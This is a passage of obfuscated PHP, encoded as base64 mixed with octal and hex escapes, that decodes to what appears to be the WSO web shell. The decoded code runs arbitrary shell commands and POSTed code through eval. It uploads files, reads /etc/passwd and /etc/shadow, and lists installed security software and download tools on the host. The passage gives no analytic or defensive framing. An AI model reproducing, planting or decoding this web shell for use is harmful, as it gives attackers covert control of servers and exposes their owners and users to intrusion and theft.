WxlOjwvc\063Bhb\1524kaXNfd3J\x70dGFibG\1258Yn\x49+PGlu\143HV0I\x47NsYXNzPSd\x30b2\071sc0lucCcgdHlwZT\0610\132Xh0I\x475hbWU9Zj48aW5wdXQgd\110lwZT1zdWJtaX\x51gdm\106sdWU\071Jz4+Jz48L2Zvcm0+PC\x390\132D4K\x43TwvdHI+\x50HRyPgoJCTx0ZD48Zm9y\x62SBvbnN1Ym1pdD1c\111mcoJ\060Nv\x62\156Nvb\x47U\x6eL\1075\x31\142Gw\163dGh\160cy5jL\156Z\x68b\x48V\154KTtyZX\x521cm4gZm\x46sc2U7X\103\x49+PHN\167YW4+RX\150lY3\1260ZTo8L3N\167YW4+PGJyPjx\x70b\156\x42\061\x64CBjbGFz\x63z\060ndG9vbHN\112bnAnIHR\065cGU\071dGV4dCBuY\x571l\x50WMgdmFsd\127\125\x39Jyc+PG\x6cucHV0IHR5cGU9\x63\063\x56ibWl0\111H\x5ahbHV\154PS\x63+Pic+PC9mb3J\164\120jwvdGQ+C\147kJPH\122k\120jxm\x623JtIG1ldGhvZD\060\156cG\071\x7a\x64CcgR\x55\x35DV\106lQRT0nb\130VsdGl\x77YXJ0L\x32Zvcm\060tZGF0YSc\x2bCgkJPG\154uc\x48V0I\x48R5cGU9aGlkZGV\x75I\x475\150bW\125\071\x59S\x422YWx1ZT0nRml\163ZXNNQW4nP\147oJCTx\x70bnB1dCB0\x65XBl\120WhpZG\x52lbi\x42\165YW1lP\127\115g\x64\x6dFs\144WU9Jy\x49\x67Li\101kR0xP\x51kF\115U1snY3dkJ1\060\x67L\151InPgoJCTxpbn\1021d\x43B0eXBlP\x57h\160Z\107Rl\x62i\x42uYW1lPXAxIHZhbHVlPSd1\143\x47xvYWRGa\x57xlJz4KCQ\x6b8aW5wdXQgd\x48lw\x5a\1241\157aW\122k\132W4\147bmFtZ\1241ja\x47Fyc2V0IHZhbHVlPSc\151I\1034gKGl\172c2V0KCRfU\1059TVFs\x6eY2\x68hcnNldCddKT8k\1301BPU1RbJ\x32No\x59XJ\172ZXQ\x6eXTonJykgLiAiJz4KCQk\x38c3Bhbj5VcGxvY\x57Q\x67ZmlsZTo8L3Nw\x59W\x34+J\107lzX3dyaXRhYm\x78l\120GJyPjxpbn\x421\144CBjbGF\x7acz0\156dG9vb\x48NJbnAnI\110R5cGU9Z\155lsZSB\165\131W1\x6cPWY+P\107lucHV0IH\x525c\107U9c3Vib\127l0IH\132hbH\126\x6cPSc\053Pi\x63+PC9\x6db3J\164Pjxic\151A\147\x50\152w\166dGQ\053Cgk8L3\x52yPjwvdGFibG\125+PC9\153aXY+P\x439ib2R5Pjwv\x61HR\164b\104\064i\x4fwp\071Cgp\x70\x5aiAoIWZ1\x62mN0aW9u\x582V\064a\130N0cygicG9zaXh\146Z\x32V0cHd1\x61WQ\x69KSAmJi\101oc3RycG9zKC\122HTE9CQ\125x\x54WydkaXNhYmxlX2Z\x31bmN0aW9u\x63ydd\114C\101n\x63G\071zaXhfZ2\x560cHd\x31\141W\121nKT\0609P\x57Z\150bHNlKSkgewo\x67I\x43\101gZ\156VuY3Rpb24gcG9z\141Xh\146Z2V0cH\x641aWQoJHApI\110\x74\x79\132XR1cm4g\132mFs\1432U7fS\1029CmlmICghZnV\165Y3Rpb25\x66ZXhpc\063RzKCJwb3NpeF9\156ZXRn\x63mdpZCIpICYmICh\x7adHJwb3MoJEdMT0JBTFNbJ2\x52pc2Fib\107\126fZnVuY\063\x52pb25zJ10sI\103dw\1423N\160\x65F\x39n\132X\122ncmdpZCc\x70PT09ZmFsc2U\x70\113\123B7CiAgICBmdW\065jd\107lvbiBwb3N\160eF9nZXRncmdp\x5a\x43gk\143Ckge3J\x6cdH\126\171\x62iBmYWx\172ZTt9I\1100KCmZ1bmN0\x61W\071\165I\x48dz\142\060V4KCR\x70bikgewo\112\112G9\x31\144CA9ICcn\117\x77oJaWYgKGZ1bmN0a\x579uX2V4a\130N0c\171gnZXhlYycpKS\x427Cgk\112QG\126\064Z\x57\x4doJGl\165LCRv\x64\x58QpOwoJCS\122vd\x58Qg\x50SBAam9p\x62\x69giXG\064iLCRv\x64XQp\x4fw\x6fJ\146SBl\142HNlaWY\x67KGZ\x31\x62mN0aW9u\x582V4aXN\060c\171\x67nc\107Fzc3R\x6fcn\125\156KSkgewoJCW9\151X\x33N0YXJ0\x4bCk7\103gk\x4aQHB\x68c3N0aHJ1\x4bC\x52pbik7Cg\x6bJJ\x479\x31dCA\x39I\x479i\1302d\x6cdF\x39jbGVhbigpO\167oJfSBlbHNla\127YgKGZ\061bmN0aW\x39uX2V4aXN0cygnc3lzdGV\164J\171\153pIHsKCQ\154vYl9\172\x64GF\171\144CgpOwoJCUB\172eXN0ZW0oJG\x6cuKT\163KCQkk\x623\x560\x49D0g\x622JfZ2V\x30X2Ns\132\127FuKCk\067\103gl\071IG\x56\x73\1432\126pZ\x69AoZn\x56u\x593R\160b\062\065fZ\130hpc3\122\x7a\x4bCdzaGVs\142F9\x6ceGVj\x4a\171k\x70\x49HsKCQkkb3\126\060ID\x30gc2hlbGxfZXh\154\131ygka\x574pOwoJfSBlbHNl\x61\x57Yg\113Glz\x583Jlc\x329\061c\x6dNlK\x43\122mID0g\x51\x48B\166c\107V\x75KCRpbiwiciIpKSkgewo\x4aC\123RvdXQgPS\x41iIjsKCQl3aGlsZ\123\147hQGZl\1422Yo\112GY\x70K\121\x6fJCQkkb3V0\x49C\x349I\107Z\x79Z\127FkKCRmLDEwMjQpO\x77\157J\x43X\102\152bG\x39\172Z\123gkZi\1537Cgl9CglyZX\x521c\1554gJ\10791dD\163KfQo\113ZnVuY3\x52pb\x324gd3NvVmlld1Np\x65\x6dUo\x4aHM\160\x49\x48sKI\103AgIGlmIChp\14319pbnQoJHMpKQog\x49CAg\111CAgICRzI\x440gc3ByaW50Zi\x67iJ\x58U\x69\x4c\103Akcyk7CiA\147ICAKC\x57lmKCR\x7aID\x349IDEwNzM3NDE4Mj\121p\103gk\112cm\x560\144XJ\165IHNwcmludGY\x6fJyUxLjJmJywgJH\115gLy\x41xMDczNzQ\170ODI0ICk\165ICcgR\060InOwoJZWxzZWlmKCRzID49IDEwNDg\061Nz\131pCg\x6bJcmV\x30\x64\x58JuIHN\167c\x6dludGYoJy\125xLjJ\155Jyw\147JHMgLyAxMD\x514NTc2\x49Ck\x67LiAnI\105\x31CJ\x7asKCWV\163c\062VpZigk\x63\171\101+P\x53AxM\x44I\x30KQoJC\130JldHVybiBzcHJpbnRmKCclMS\064yZicsICRzIC8gMTAy\116CApIC4gJyBLQ\151\1437C\147llbHN\154\103gkJcmV\x30dX\112uI\x43RzIC4gJ\171\x42CJ\172\x73K\146QoKZnVuY3Rpb2\064gd3NvUGVybXMoJHA\x70IHsKC\x57lmICg\x6fJHAg\112iAw\x65E\x4dw\115DA\x70ID09IDB4Q\x7aAwMCkkaSA9ICdzJzsKCW\x56s\1432VpZiAoK\103RwICYgMHhB\x4d\104AwKSA9PS\x41weEEwMDApJ\107k\x67P\x53A\156bCc7CgllbHNlaWYgKCgkc\x43Am\111\104B4ODAwMCkg\x50\x54\060gM\x48g4MDAwKSRpID\060gJy0\x6eOwo\112ZWxzZ\127lmICgoJHAgJiA\x77eDYwMD\x41pID09IDB\x34NjA\167MCkkaS\x419\111\103d\151J\172sK\x43W\126s\x632VpZiAoK\103RwI\103Y\x67MHg0MDAwKS\1019PSAweDQwMDApJ\x47kg\x50SAn\x5aCc7Cg\x6c\x6cbHN\x6c\141\x57Y\147KCgk\x63CAmIDB4MjAw\x4dCkgPT0gMHg\x79MD\x41w\113SRpID0\147\x4a2MnO\x77oJZ\127xzZWlmICgoJHA\x67J\x69AweD\105w\115DApI\10409\x49DB4M\x54A\x77MC\153kaSA9IC\x64w\112z\x73K\103W\126sc\062U\147JG\x6bgPSAn\x64S\1437C\147kkaSAu\120SA\157\x4bCR\x77\111C\131\147MHgwMTAwKSA/ICdy\112yA6IC\x63\x74Jyk7C\147kkaS\x41uPS\x41oKCRwICYgMH\147\x77MDg\x77KSA/\x49Cd3JyA\x36I\x43ct\x4ayk7Cgkka\x53\101u\x50SAoK\103Rw\x49CYgMH\x67\167MDQwKSA/\111CgoJH\x41g\112iAweDA4M\104ApID8gJ3M\x6e\x49\x44ogJ\063g\156I\103kgOiAoK\103RwIC\x59gMHgwODAwKSA/I\x43dTJyA\x36I\x43ctJ\171kpOw\157JJGkg\114\x6a0gKCgkcCA\155\111DB4\x4dDAyMCkg\120yA\x6ecicg\x4f\x69AnL\123cpOwoJ\x4aGkgLj0g\x4b\103gkc\103Am\111D\x424MDAxMCkgPyAndyc\x67OiAnLScpOwoJJGkg\x4cj0g\113CgkcCAmIDB4M\104AwOCkgPyAoKCRwICYgMHg\x77ND\x41wKSA/ICdzJyA6ICd4JyApIDog\x4b\x43gkcCAmIDB4MDQwMCk\x67Py\x41nU\x79cg\x4fi\x41nLScpKTsK\x43SRpI\10349\x49Cg\x6fJHA\x67J\x69AweDA\x77MD\121pID\x38gJ3I\x6e\111DogJy0nK\124sKCSRp\x49C\x349ICgoJH\101\x67Ji\101weDAw\115\104Ip\111D8gJ3cnID\157gJy0\x6eKTsKCSR\x70IC\0649ICgoJHAgJiA\167eDAw\115\104\105p\111D8gKCgkcCAmIDB4MD\111wMC\x6bgPyAndCcgOiAneCcg\113SA6\111C\147o\x4aHAg\x4aiAweD\101yMDA\x70ID8gJ1QnIDo\147\112\1710nKSk7CglyZXR1cm\064gJGk\067C\x6e0KCmZ1\x62mN0aW9\165IHdzb1\102lc\x6d1\x7aQ29s\x623\x49oJG\131pIH\x73KCWlmICghQGl\172X\x33J\154Y\127RhY\155\170lKCRmKSkKCQ\x6cy\x5a\130R\061c\1554g\112zxmb\0625\060\111\x47\116\166bG9y\x50SNGRjA\x77MDA+\112yA\165\111Hdzb1B\x6ccm1zK\x45B\x6d\x61W\x78lc\107\126ybX\115oJG\x59pKSAuI\103c8\x4c2ZvbnQ+JzsKCWVsc2VpZiAoIU\x42\160c1\0713cml0YWJsZSgkZikpCgkJ\143\x6d\x56\x30d\x58JuICc\070Zm9udCBjb2\x78vcj13\x61G\1540ZT4n\111C4g\1443N\x76UG\126ybXMoQGZpbGVw\132XJtcy\147kZikpIC4gJz\167v\132\1559udD\064\156Ow\x6fJZWxzZQoJCXJldHVybiAnPGZvbnQgY\x329\163b3I9Iz\1111Z\x6dYwMD4nIC4gd\x33\116\166UGVybX\115\157\121GZpb\107\126w\132\x58Jt\x63y\x67\153ZikpI\1034gJ\x7awvZm\x39\x75dD\064n\117wp9Cgp\155\144W\x35jdGlvbiB3c2\x39T\1312\x46uZ\x47\x6cyKCRka\130I\160IHsKIC\101g\111G\x6c\x6d\x4b\107Z\x31bm\x4e0aW\x39uX2V\064aXN0c\x79g\x69c2Nhb\x6dRpciI\160KSB7C\151AgICAgICA\147\143mV0dXJuIHN\x6aY\x57\x35ka\x58I\x6fJ\107Rpc\151k\067Ci\101gICB9IGVs\1432U\147ewog\111CAg\111CAg\x49\103RkaCAgPSBvcGVuZ\x47lyKCRk\141XIpOw\157gICAgICAgIHd\157aW\170lIChmYWxzZSA\x68PT0gK\x43RmaWxlbmFtZ\x53A9IHJlYWR\x6b\141XIo\x4aGRo\x4bSkpCi\x41gIC\x41gICAg\111CA\x67\111CRmaW\170lc1\164\x64ID\060\147JGZpbGVuY\127\x31lO\167\157g\x49\103AgICA\x67I\110JldHV\x79\142iA\153Zml\163ZXM7CiA\147ICB\071C\1560KCmZ1\x62mN0aW9uI\110\144zb1doaWNoKCRwKSB7Cgkk\143G\x46\060aCA\x39IHd\x7ab0V4\x4bCd3aGljaCAnIC\064\x67JH\x41p\x4fwo\x4aaW\x59o\111WVtcHR5\x4bCRwY\x58\x52oKSk\x4bCQlyZX\x521c\x6d4gJHBhdGg\x37Cgly\x5aXR1\x63m4gZmF\163c2U7Cn0KCmZ1bmN0\141W\071uI\x47FjdGlvblNl\x590luZm8oKSB\x37\103gl3c2\071IZ\x57FkZ\130\111oKTs\113CWVjaG8\x67\x4a\172xoM\1245TZXJ2ZXIg\1432Vj\144XJpdH\153g\x61W5mb3JtYXRpb248L2g\170P\x6axka\130\131gY\x32x\x68c3\1159Y2\x39udGV\165\x64D4\x6e\117woJZnVuY3\122p\14224gd3NvU2VjU\x47\x46y\x59W0\x6fJG4sI\x43R2\x4bSB7Cgk\x4aJHYgPSB0\x63\155lt\x4b\103R2K\124sK\x43QlpZ\151gkdikgewo\112\103QllY2hvIC\143\x38c3\x42\150\142j4nIC4gJG4gLiAnO\151A8L3NwYW4+\112zs\113CQ\153Ja\127\131oc3Ryc\1079zKCR2LCAiXG4\x69KS\x419PT0\147Zm\106sc2UpC\x67kJCQllY2h\x76ICR2IC\064g\112\x7ax\x69cj4nOwoJ\103Ql\154bHN\x6cC\x67kJCQllY2h\166\x49C\1438\143H\x4alIGNsYXN\x7aP\1271sMT4nIC4gJ\110YgL\151AnPC9wc\x6dU+Jzs\x4bCQ\1549C\x67l9C\x67oJd3NvU2VjU\107FyYW0oJ1Nlc\x6eZl\x63iBzb2Z0\x642F\x79ZScsIEBnZXRl\x62n\131\x6fJ\x31NF\x55lZFU\x6c9TT0ZUV\060\x46\123R\123\143pKTsK\x49CAgI\x47lmKGZ1bmN0aW9uX2\126\x34aXN0cygnYXBhY2hl\x582dldF9t\x622\1221bG\126zJy\153pCiAgICAgICAgd3Nv\x552VjUGFyYW0oJ0\x78vYWRlZ\x43BB\x63GFjaGUgbW9k\x64W\170lc\x79\143s\111Glt\143G\170vZG\x55oJywgJywgYXB\x68\x592hlX2dl\x64F9tb2R1bGVz\x4bC\153\160KTsKCXd\172b1NlY1BhcmFtK\x43\x64EaXNhY\x6dx\x6cZCB\121\123F\x41g\x52nVuY\x33\x52p\x6225zJywgJEdMT0JBT\106N\142J2Rpc2Fi\x62G\x56\x66ZnVuY3Rpb25zJ1\060/JEdMT\x30JBT\106Nb\x4a2Rpc2\x46ibG\126\x66ZnVuY3Rpb25zJ\x3106J25vb\155Un\113TsKCXd\x7ab1N\154\x591Bh\x63mFtKCdPc\107VuIGJh\1432U\147ZGlyJywgQGlua\1269nZ\130\121oJ29wZW5fYmFzZ\x57Rpcicp\x4bTsKCXdzb1NlY\061Bhc\155\x46t\113CdTYWZlIG\x31vZGUgZXhlYyBkaXInLCBAaW5pX2dldCgnc2\106mZV9tb2RlX2V4ZWNf\132GlyJ\x79kp\x4fwoJ\1443NvU2VjUGF\171Y\x57\060oJ1N\x68ZmUgbW9kZSBpb\155Nsd\127\x52lIGRp\143ic\x73IE\x42pbml\x66Z\x32V0K\x43dz\x59WZlX2\061vZGVfaW5jbHVkZV9\x6baXInKSk7Cg\1543c29TZW\116QY\x58JhbSg\x6e\1311VS\124C\x42zdXBw\1423J\x30JywgZnV\x75Y\063R\x70b25fZX\x68pc3R\x7aKCd\x6adXJsX3\132lcnNp\x622\064\x6eK\1248nZW5hY\x6dxl\x5aCc6J2\065vJyk\067C\147kkdGVtc\1041hcnJh\x65Sg\160\117woJa\127YoZn\x56uY3R\x70b25\x66ZXh\160c3Rz\113C\x64\x74eXNxbF9nZXRfY2xp\132W5\060\1302luZm8nKSkKCQk\153d\x47Vtc\106\164d\x49\1040\x67Ik\x315U3\x46s\x49CgiLm15c3FsX2\x64l\144\x469\152bGllbn\122faW\065mb\171gpLiIpIj\163K\x43WlmKGZ\x31bmN0aW9uX\x32V4aXN0\143ygnbXNzcWxfY29ubmVjd\x43\x63\160\113QoJCSR0ZW1wW10gPSAiTVNTUU\167\151O\x77o\x4aa\x57YoZn\x56uY3Rpb25\x66ZXhpc3R\172\x4b\103dwZ19jb25uZWN0JykpCgkJJH\122l\x62XBbXS\x419\111CJQ\x623N0Z3Jl\x551FMI\x6asKCWl\155K\107Z1b\155N0a\x57\071\x75X\062V4aXN0\143\171gnb\062NpX\x32\x4evb\x6d5lY3\121nK\123\153KC\x51kk\x64GVtcFt\x64ID0gIk9yYW\x4es\132SI7Cgl3c\0629T\x5aWNQYXJ\x68bSgnU3VwcG9y\144GV\153IGRhdGFiYXNlcycs\x49G\x6c\164cGxvZ\107UoJywgJywgJ\110\122l\142XA\160\x4bTsKCWVjaG8\x67Jzxicj4nOwo\x4bCW\154\155K\x43RHTE9C\x51\125xTWy\144vcyddID09\111\103du\x61Xg\x6eKSB7CiAgI\103\101gICAgICAgIHd\x7ab1\x4elY1\x42hcmFtKCdSZWF\x6bY\127JsZ\123\x41vZXR\152L3Bhc3N3ZCcsIEBpc19yZWFkYW\112sZS\x67nL2V0\x59y9wYXNz\1442Qn\113T8\151eWV\x7aIDxhIGhyZWY9JyMnIG\071u\1312xp\131\062s9J\062coXC\112GaWxl\143\x31Rvb\062x\172\130CIsIFw\x69L2V\x30Yy9cI\151w\147\x58CJwYXNzd2\x52cIi\153nPlt\x32\x61WV3XTwvY\x544iOi\144ubycpOw\x6fgICA\147I\103Ag\x49CAg\x49CB3c\x329T\132W\x4e\121YXJhbSgnU\155\126\x68ZGFibG\x55gL2V0Yy9za\x47Fkb3c\x6eL\103BAaX\116fcm\x56hZGFi\x62GUoJy9ldG\x4dv\x63\062\x68hZ\10793Jyk/Inllc\x79A8YSBo\143m\126mP\x53cjJyBv\142mNsa\127NrP\x53\x64n\113FwiRmlsZX\116\125b2\071sc\x31\167\151LCB\143\x49i9ld\107\x4dvXC\111sIFwic\x32h\x68ZG93XCIpJ\1725bdmlld\x31\0608L\x32E\053\x49\x6aonbm8nKTsK\x49CAgI\x43AgICAgICAgd3N\x76\1252V\152\125\107FyYW0o\11209T\x49H\x5alcnNpb24nLCBA\x5am\154sZV9nZXR\x66Y\x329udGVud\x48\115\x6f\x4ay9wcm9jL3Zlc\x6e\116pb\x324nKSk7CiAgIC\x41gICAgICAgIHdzb\x31NlY1Bh\x63mFtK\x43dEaX\116\060\143\151\102uYW1l\112\x79wgQGZpbG\x56fZ\x32V0\x582NvbnRlbnRzKCcvZXRjL2lzc3VlL\x6d5ldCcp\113Ts\113ICAgIC\101g\111CAgICAgaW\131oI\123RHTE9CQ\x55x\x54Wydz\131\127ZlX21\x76ZG\x55nXSkg\x65wo\x67ICAgICAg\111CA\x67I\103AgI\x43AgJ\x48VzZXJ\155d\127w\x67PSBh\143nJhe\123gnZ\062NjJywnbGNjJywnY\x32\115\x6e\114CdsZ\x43csJ21ha2UnLCdwaH\x41nLCdw\x5aX\x4asJywncH\x6c0aG9\x75Jywn\143nVie\x53cs\x4a3\122hc\151c\163J2d6\x61XAnLCdiem\154wJyw\156\131\x6e\160\x70cDI\156LCduYycsJ2xvY2F0\132Sc\163J3N1aWRwZX\x4a\x73J\x79k\x37\x43iAgICAgICAgICAgIC\101gI\103AkZGFuZ2V\171ID0gYXJy\131XkoJ2thdicsJ25\x76ZDM\x79\x4a\x79wnYmRjb\x33J\x6c\132Cc\163J3V2c2Nhbi\x63sJ\x33\x4ehdicsJ2Ryd\x32Vi\132CcsJ2NsYW1kJyw\156\143mto\x64\x5750ZXInLCdjaGtyb\06290a2l0JywnaXB0YWJsZXMnL\103\144\160c\x47\x5a3Jy\167ndHJpcHdpcm\125nL\x43dzaGllbGRjYycsJ3BvcnRzZW50cnknLCdzbm9ydC\143\x73J2\x39zc\x32VjJywnb\107lkc\x32F\x6bbScsJ\063RjcGxvZ\107cnLCdzeG\x6ck\112ywnbG9nY2\150lY2sn\x4cCdsb2d3YX\122jaCcs\1123N5c2\061hc2snLCd6bWJzY2FwJy\x77nc\062F3bWlsb\x43csJ3dvcm1zY2FuJ\171wn\x62mluamEnKTs\113IC\x41\147ICAgICAg\111CA\147I\x43AgICRkb\x33dubG9\x68Z\x47\x56\x79cy\101\x39IGFycmF5K\103d3Z2V0Jy\167n\x5amV\x30Y2\x67nL\x43ds\145W54J\171wn\x62Glu\1413\x4dnLCdjdXJsJ\171\167nZ2V0Jywnb\x48\144\x77LW\061\x70cnJvc\x69cpOwogICAg\x49CAgIC\x41\x67ICA\x67ICAgZ\x57\116ob\171AnPGJy\x50ic7CiA\x67IC\x41gICAgI\x43A\147ICAg\111\x43A\153dGVtc\x44\061\150\143\156Jh\145S\147pOwogICA\x67I\x43AgICAg\111\103AgICA\147Zm\071yZ\x57\x46jaCAoJH\x56zZXJ\155dWwgYXMgJGl0\132W0\160CiAgIC\101gICAgICAgICAgICA\x67ICAgaWY\157d3N\166\x562\150p\x59\x32goJGl\060ZW\060pK\x51ogICAgICA\x67ICAgI\103AgICAgICAgIC\x41gICAkdGV\164cFt\144\111D0\147\112Gl0Z\12707C\x69\x41gICAgIC\101\147ICA\147ICAgI\x43B\x33\x6329TZWNQ\x59XJhbSg\156VXNlcm\1321b\x43csIGltcGxvZGUo\112yw\147JywkdGV\164\143\103kp\117\x77ogI\103AgIC\101gICAgICAgICAgJHRlbXA9YXJ\171Y\130koKTsKICAgI\103Ag\x49CAgICA\147ICAgI\107Z\166\143mVhY2ggKC\x52kY\1275nZX\x49\x67YXMgJGl0Z\x570pCiA\147ICA\147ICAgICAg\x49C\101g\x49CAgIC\101ga\x57Yod3Nv\1262hpY2goJGl0ZW0pK\121ogI\x43AgICAgICAgIC\x41gIC\101gICAgIC\x41gI\x43AkdGVtcFtdID0\147JGl0ZW\x307CiAg\111CAgIC\101gICAg\111C\x41g\x49C\102\x33c29T\x5a\x57NQYXJhbSgnRGF\x75Z\x32VyJywgaW1wbG9\153Z\x53gnLCAnLCR0\x5aW1wKSk\067Ci\101g\111\103A\147\111CAgIC\101gICA\147ICA\x6bdGVt\143D1hcnJheSgpOwogICAg\x49C\x41\x67ICAgICAgI\x43A\147\132m9\x79ZWF\152aCA\x6fJGRvd2\065\163\1422\x46kZXJzIGF\x7aI\103RpdGVt\113\x51\x6fgICAgICAg\x49CAgICAgICAgIC\x41g\111\107l\x6d\x4bHdzb1\144\x6faWN\x6f\x4bCRpdGVtKSkKICAgICAgIC\x41g\111\x43Ag\111CAg\x49CAgICA\147\111CAgJ\x48Rl\x62XBbX\123\1019ICRp\144\x47\126\164\117wogICAg\111CAgICAgICAg\x49CAgd3NvU\x32\x56jUG\x46\x79\131W0oJ0Rvd\x32\x35sb2Fk\132XJ\172Jywg\x61W1wbG9kZSgnL\103An\x4cCR0ZW1wK\x53\x6b\x37Ci\x41gIC\x41\147IC\101gICAgIC\x41gI\x43Bl\1312hvICc8YnI\x76\x50ic7CiAgICAgI\103Ag\x49CAgICA\147ICB\063c29TZWNQYX\112hbSg\156SEREI\x48NwYWNlJywgd3Nv\122\x58go\x4a\x32\122mIC\061\157JykpOw\157gICAgICA\147ICAgICAgICA\147d\063N\x76U\062\x56jUGF\171YW0\157J\060h\166c\x33Rz\x4ay\x77\x67Q\107ZpbGVfZ2\126\060X\x32Nv\142nRlbnR\x7a\x4bCcvZX\122jL\062hvc3\122\172Jykp\117\167ogICAgICAgICAgICA\x67ICAgZ\x57N\157b\171AnPGJyL\1724\070c3\x42hbj5w\1423Np\145F9nZ\130Rw\x643V\160ZCAoI\154JlYW\121iIC9ldG\115vc\107Fzc\063\x64kKTwvc3Bhb\x6a\0648\144\x47FibG\125+PG\x5av\x63m0\x67b25zd\127JtaXQ9XCdn\x4bG51bGwsb\x6eVs\x62C\x77iNSIsdGh\160c\x795\167\131XJh\x62TEu\144mFsdWUsdGhpc\x795wY\130J\150\142TI\165dmFsdWUp\1173JldHVybiBmYWxzZT\x74cJz48dHI+PHR\153PkZyb20\x38\114\x33RkPj\1700\x5a\x44\064\x38aW5wdXQgdHlwZ\12410\x5aXh\x30IG5hb\127\1259cGFyYW0\170IH\132hbH\x56\x6cP\124A+PC9\x30ZD\0648\x4c3RyPjx0cj48dGQ\x2bVG88L3Rk\x50jx0\132D4\x38a\127\x35wdXQ\x67dH\154wZ\x541\x30ZX\1500IG5\x68b\127\125\071\143GF\171YW\060yIHZhbHVl\x50TEw\115\x44A+PC90\132D\x348\114\x33R\x79PjwvdGFi\x62GU+\x50\107lucHV0IHR\x35cGU9c3V\151bWl\060I\x48\x5a\x68b\x48V\x6cP\123I+PiI+PC9mb3J\x74Pic7\103i\101gI\103\x41\x67ICAg\x49\103A\x67I\103AgICBpZi\x41o\141XNzZXQgKC\x52\146UE\x39TVFsn\x63\x44I\156X\x53wgJ\1069QT1\116UW\x79dwMy\x64dKSAmJi\102pc19\165dW\x31l\x63ml\x6aKCR\146UE\x39TVFsn\x63DI\156XSk\x67JiYgaXNfbn\126\164\x5aXJpYyg\153\1301\102\x50U\x31RbJ3A\172J10\160KSB\067CiAgICAgIC\101gICAgIC\101gICAgI\x43AgJ\110RlbXAgPSA\151Ijs\113\x49\103A\x67ICAgIC\101gICA\x67\111C\x41gI\103AgICBm\x623IoOyRf\x55E9TVFsncDInXS\x418PSAkX1\102\x50U1Rb\1123AzJ\061\x307JF\071QT1NUWydwMi\x64\144K\171spIHsKIC\101gICAgIC\101\147I\103AgICAg\x49\103AgICAg\111CA\147JHVpZCA9\x49EB\x77b\063NpeF\071nZXRwd\x33VpZCgkX1BPU1\122\142\1123A\x79J10p\x4fwo\147ICAgICAgICAgICAgICAgI\103AgI\103AgIC\x42pZ\x69\x41oJHV\160ZC\153K\x49CAgICAgICAgIC\x41\x67ICA\147IC\101\x67ICAgI\103AgICAgICR0ZW1\x77IC4\x39\111G\x70\166aW4oJz\x6f\156LCR1aWQp\x4ciJcbiI7CiAgICAgICAgI\103AgICAgIC\101gIC\x41gfQogICAgI\x43AgICAgI\x43AgIC\x41g\111C\101gI\x47V\152aG8gJzx\x69ci8\x2bJzsKICAgI\103AgICAgICAgIC\101gICAgI\x43B3\1432\071TZWN\121\x59\x58JhbSgnVX\116\x6c\143nMn\114CAkdGV\x74cCk7\103iAgICAgICAgI\103AgICA\x67ICB9CiAgICAg\111CAgIC\101\x67IH\060K\x43X0\x67ZW\170zZSB7CgkJd\x33NvU2\x56jUGFyY\1270oJ0\071TIFZlcn\116pb24nLH\x64zb0V\064KC\1442ZXIn\x4bSk7CgkJ\x643NvU2\126jU\x47FyYW0\157J0\x46jY291bnQgU\x32V0dGluZ3\x4dnLHd\x7ab0V\x34KCd\165ZXQgY\x57N\x6a\x623V\165dHMnKSk7Cgk\x4ad3\x4evU2VjU\x47\x46\171YW0oJ1VzZXIg\x51WNj\x623\126udHMn\x4cHd\172b0\x564KC\144uZXQgdX\116l\143\x69\143\x70KT\x73KCX0KCW\x56jaG8gJzwv\x5aGl\062Pic\067\x43gl3c29Gb29\060ZXI\x6fKT\x73KfQoKZn\126uY3Rpb2\064gYWN\060aW9\x75U\107\x68wKCkge\167oJaWYoaXN\172ZXQoJF\x39QT1NUWydh\x61mF4J\0610p\x4bSB7\x43i\x41gICAgICA\147\1261N\x50c2V0Y29v\1412llKG1kN\123g\153X1NFU\154ZFU\154\x73nSFRUUF9IT1NU\11210pIC4g\x4a2\106q\x59XgnLC\x420c\156VlKTsKCQlvYl9zd\x47Fyd\103gp\x4fwo\x4aCWV2YWwoJF9QT1NUWy\x64wMSddKT\x73KCQkkdGVtcCA9ICJkb2N1bWVu\x64\1035nZ\130RFb\x47V\x74ZW50QnlJZCgnUGhwT3V\060\143\x48\x560J\171\153uc3R\065\x62\107U\165ZGl\172cGxheT0nJztkb2\116\061\x62WVudC5nZXRFbGV\164\132W50Qn\x6cJZCgnU\x47hw\1243V0\143HV0Jyku\x61W5uZXJI\x56E1M\120SciIC4gYWRkY3NsYXN\x6fZXMoa\x48RtbHNw\x5a\127NpYWxjaGF\x79\x63\171h\x76Yl9nZ\x58RfY2x\x6cYW4oKSks\x49CJ\x63bl\170yXHRcXCdcMCI\x70\111C4gIic7XG4iOwo\112CWVjaG8g\143\x33RybGVuK\x43R0Z\x571w\x4bSw\147I\154xu\x49iw\147JHRlbXA7C\147\x6bJZXhpdDsK\x43X\x30KICAgIGlmKGVtcHR5KCRfU\x459T\126Fs\x6eYWp\x68eCdd\113\x53\101m\x4a\x69AhZW1\167dHkoJF9Q\1241NUWydw\x4dSddKS\153KICA\147I\103\101gICBX\x5509zZ\130Rjb29raWUobWQ\x31K\x43RfU\x30VSVkVSWydIVF\122\121X0hPU\x31\121nXS\153gLiAnY\x57\x70heCc\163I\x44ApOw\x6f\x4bCX\x64\172b\x30hlYWRl\143igpO\x77\157JaWYoaXNzZXQoJF9QT1NUWy\144wMidd\x4b\x53\101mJiAoJF9QT\x31\116UWy\x64\167M\151\x64dID0\x39ICdp\x62mZvJyk\x70IHsKC\x51\154l\131\062hvICc8\141DE\053UEhQ\111Glu\132m88L2gxPj\x78k\141XY\x67Y2x\x68c3M\x39\x5929\x75dGVudD4\x38c3\x525bG\x55+Ln\x41ge2NvbG9y\117iMwMDA7fTwvc3R5bGU+JzsK\x43QlvYl9\172dGFy\x64C\147\x70O\167o\112CXBocGluZm8oKTsKCQk\x6bdG\061\167\111\1040gb\x32JfZ2V0X2NsZW\x46uKCk7\103iAgI\103AgICA\147JH\122tcCA9IHB\171ZWdfcmVw\x62GFjZShhc\x6eJ\x68eSAoCiA\x67ICAgI\103AgICAgI\103c\150KGJv\x5a\110l8YTpc\x64\x79t8Ym9\x6b\x65S\167gdGQsIHRoLCB\157MS\x77gaDIpIHsuKn\x30\x68bXNpV\x53c\x73CiAgI\103\x41gICAgIC\101gIC\x63\x68dGQsIH\x52oI\x48soL\151\157pfS\x46tc2lVJywKICAg\x49C\x41gICAgICAg\x4ayE\x38a\1271\156\12714+XS\163+IW1\x7aaV\x55nLAogICAgI\x43AgICksIGFycmF5ICgK\x49\x43Ag\111C\x41g\x49CA\147IC\x41\x67JycsCiA\147I\103Ag\x49CAgICAgI\103cuZ\123wgLn\131sIC5oLC\101\x75aCB0a\103B7JDF9JywK\x49CAgI\103AgIC\101gICAgJycKIC